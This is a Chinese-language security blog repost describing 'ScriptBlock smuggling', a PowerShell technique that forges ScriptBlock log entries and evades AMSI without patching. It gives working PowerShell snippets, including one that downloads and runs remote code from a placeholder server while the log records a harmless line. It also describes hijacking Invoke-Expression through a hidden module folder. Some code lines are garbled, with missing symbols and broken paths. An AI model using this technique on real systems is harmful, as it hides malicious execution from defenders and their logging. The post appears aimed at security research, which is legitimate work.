无需反射或修补绕过Powershell日志记录功能和AMSI

admin 2024年6月18日21:46:03评论26 views字数 3148阅读10分29秒阅读模式

背景

最近PowerShell 在渗透测试人员、红队以及某种程度上的 APT 中的流行度逐渐下降。造成这种情况的原因有很多,但核心是在 PowerShell v5 和 AMSI 中引入了 PowerShell 安全日志记录。这些为蓝队提供了应对 PowerShell 威胁的重要参考依据。在本篇文章之前,已经发布了几个 AMSI 绕过,例如 Matt Grabber 的反射旁路或 Rastamouse 对 AmsiScanBuffer 的修补,并且已经发布了一些 ScriptBlock 日志记录绕过,例如 Cobbr 的 ScriptBlock 日志记录旁路。但这些都涉及完全禁用日志记录。到目前为止,还没有一种方法来欺骗这些日志。本技术方案允许攻击者在绕过 AMSI 的同时将任何任意消息欺骗到 ScriptBlock 日志中。另外,它还不需要执行任何反射或内存修补。特别是AMSI补丁,已经开始成为许多AV和EDR解决方案的目标,因此这是该技术的一大优势。

AST

在深入了解 PS ScriptBlock 欺骗的工作原理之前,我们需要简要概述 PowerShell 如何利用 AST 以及 AST 是什么。在不深入研究编译器和代码背后的计算机科学的情况下,AST 是一种树状结构,编译器从源代码创建它,以便能够创建机器代码。如果你的源代码如下所示:

  1. while b 0:

  2. if a > b:

  3. a = a b

  4. else:

  5. b = b a

  6. return a

然后,编译器会将其转换为如下所示:

无需反射或修补绕过Powershell日志记录功能和AMSI

所有语言编译器都以这种方式工作,在 PowerShell 中创建ScriptBlock时也不例外。所有 PowerShell AST 的父节点是 ScriptBlock AST,除了树的子节点外,此对象还包含许多属性。其中一个属性是 Extent,就我们的目的而言,可以将其视为 ScriptBlock 的字符串表示形式。尽管它确实具有一些其他属性:

无需反射或修补绕过Powershell日志记录功能和AMSI

原理简述

那么,这对 PowerShell 中的安全功能有何重要意义?我们查看 PowerShell GitHub 中的代码,我们会在 CompiledScriptBlock.cs 中找到一些有趣的代码片段:https://github.com/PowerShell/PowerShell/blob/6c66879c92207b5a2638ec43d04a858ebeff8fd8/src/System.Management.Automation/engine/runtime/CompiledScriptBlock.cs#L1441

无需反射或修补绕过Powershell日志记录功能和AMSI

PowerShell 中的所有安全功能都只传递 ScriptBlock 的 Extent,而没有其他任何内容。每当我们通过将代码包装在 {} 或使用 [ScriptBlock]::create()来创建 ScriptBlock 时,AST 和随后的 Extent 都会自动生成,如何利用这些信息?我们实际上可以通过以下方式自己构建 AST:

  1. [System.Management.Automation.Language.ScriptBlockAst]::new($Extent,

  2. $ParamBlock,

  3. $BeginBlock,

  4. $ProcessBlock,

  5. $EndBlock,

  6. $DynamicParamBlock

  7. )

没有任何东西可以强制执行 Extent 以匹配 AST 的 BeginBlock、ProcessBlock 或 EndBlock。这些块实际上是可执行代码包含在 AST 中的位置。因此,如果我们可以在这些和 Extent 之间创建不匹配关系,那么理论上我们可以执行一些功能但是让日志看起来不一样。我们可以手动构建每个块,但在这里,我们将采用更简单的方法,即构造两个 ScriptBlock,然后从它们的组件构建第三个。

  1. $Spoof =[ScriptBlock]::create("Write-Output 'Hello'").Ast

  2. $Execut =[ScriptBlock]::create("Write-Output 'World'").Ast

  3. $AST =[System.Management.Automation.Language.ScriptBlockAst]::new($Spoof.Extent,

  4. $null,

  5. $null,

  6. $null,

  7. $Execut.EndBlock.Copy(),

  8. $null

  9. )

  10. $temp = $AST.GetScriptBlock()

无需反射或修补绕过Powershell日志记录功能和AMSI

无需反射或修补绕过Powershell日志记录功能和AMSI

其中日志显示 Write-Output 'Hello',而实际执行的代码是 Write-Output 'World'。表明我们从上面推测的影响实际上是正确的。显然,此代码也会显示在日志中,但正如我们之前的一篇博客文章中所详述的那样,在第一次执行 ScriptBlock 之前,ScriptBlock 实际上不会被记录下来。示例代码可以修改为如下所示:

  1. $wc=New-ObjectSystem.Net.WebClient

  2. $SpoofedAst =[ScriptBlock]::Create("Write-Output 'Hello'").Ast

  3. $ExecutedAst =[ScriptBlock]::Create($wc.DownloadData(<server>)).Ast

  4. $Ast =[System.Management.Automation.Language.ScriptBlockAst]::new($SpoofedAst.Extent,

  5. $null,

  6. $null,

  7. $null

  8. ExecutedAst.EndBlock.Copy(),

  9. $null)

  10. $Sb = $Ast.GetScriptBlock()

日志或 AMSI 永远不会观察到执行的代码。或者,我们可以像这样在 C# 中构建 ScriptBlocks:

无需反射或修补绕过Powershell日志记录功能和AMSI

然后可以执行 PowerShell 代码:

无需反射或修补绕过Powershell日志记录功能和AMSI

此示例执行 Write-Output 'amsicontext',它演示了无需任何修补或反射即可绕过 AMSI 的功能。当我们运行代码时,我们可以检查日志,并看到它只再次显示 Write-Output Hello。顺便说一句,出于某种原因,使用 ps.addcommand 不会导致生成和执行日志,但使用 ps.addscript 确实会按预期生成日志。

无需反射或修补绕过Powershell日志记录功能和AMSI

总结

那么我们能用它做什么呢?它可以用作基本的AMSI绕过,但也可以做一些更有趣的事情,如命令HOOK。生成 PowerShell Cmdlet 非常容易,事实证明,当 Cmdlet 和模块之间存在名称冲突时,PowerShell 会优先使用较新的模块。也就是说,如果我们将 Cmdlet 命名为“Invoke-Expression”并将其放置在 PSModulePath 位置之一,则每当用户调用 Invoke-Expression 时,都会改为调用我们的 cmdlet。两个默认的 PSModulePaths 是:

C:UsersDocumentsWindowsPowerShellModules

C:Program FilesWindowsPowerShellModules

第一个仅影响当前用户,但文件夹可以隐藏并且仍然有效,从而使用户不太可能注意到。不幸的是,第二个至少需要本地管理员权限,因此它不太有用。若要让 PowerShell 选取模块,请创建一个与模块 DLL 同名的文件夹,然后将 dll 放在该文件夹中。

无需反射或修补绕过Powershell日志记录功能和AMSI

然后,下次执行 Invoke-Expression 时,他们的代码将表现得不同,而日志将看起来像他们打算执行的代码。

无需反射或修补绕过Powershell日志记录功能和AMSI

ScriptBlock Shaulling 允许你欺骗 PowerShell 安全日志,同时从本质上绕过 AMSI。暂未修复

参考连接:https://bc-security.org/scriptblock-smuggling

原文始发于微信公众号(TIPFactory情报工厂):无需反射或修补绕过Powershell日志记录功能和AMSI

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年6月18日21:46:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   无需反射或修补绕过Powershell日志记录功能和AMSIhttps://cn-sec.com/archives/2861628.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息